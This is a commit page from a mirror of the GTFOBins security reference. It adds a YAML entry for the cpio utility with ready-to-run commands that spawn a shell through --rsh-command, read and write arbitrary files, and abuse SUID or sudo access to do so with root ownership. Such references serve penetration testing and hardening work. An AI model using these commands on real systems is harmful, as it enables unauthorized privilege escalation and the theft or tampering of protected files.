1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-10-18 05:18:13 +02:00
This commit is contained in:
Andrea Cardaci 2021-03-07 12:25:51 +01:00 committed by GitHub
commit 28c0f13c3a
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

54
_gtfobins/cpio.yml Normal file

@ -0,0 +1,54 @@
---
functions:
shell:
- code: |
echo '/bin/sh </dev/tty >/dev/tty' >localhost
cpio -o --rsh-command /bin/sh -F localhost:
file-read:
- description: The content of the file is printed to standard output, between the cpio archive format header and footer.
code: |
LFILE=file_to_read
echo "$LFILE" | cpio -o
- description: The whole directory structure is copied to `$TF`.
code: |
LFILE=file_to_read
TF=$(mktemp -d)
echo "$LFILE" | cpio -dp $TF
cat "$TF/$LFILE"
file-write:
- description: Copies `$LFILE` to the `$LDIR` directory.
code: |
LFILE=file_to_write
LDIR=where_to_write
echo DATA >$LFILE
echo $LFILE | cpio -up $LDIR
suid:
- description: The whole directory structure is copied to `$TF`.
code: |
LFILE=file_to_read
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"
- description: Copies `$LFILE` to the `$LDIR` directory.
code: |
LFILE=file_to_write
LDIR=where_to_write
echo DATA >$LFILE
echo $LFILE | ./cpio -R 0:0 -p $LDIR
sudo:
- code: |
echo '/bin/sh </dev/tty >/dev/tty' >localhost
sudo cpio -o --rsh-command /bin/sh -F localhost:
- description: The whole directory structure is copied to `$TF`.
code: |
LFILE=file_to_read
TF=$(mktemp -d)
echo "$LFILE" | sudo cpio -R $UID -dp $TF
cat "$TF/$LFILE"
- description: Copies `$LFILE` to the `$LDIR` directory.
code: |
LFILE=file_to_write
LDIR=where_to_write
echo DATA >$LFILE
echo $LFILE | sudo cpio -R 0:0 -p $LDIR
---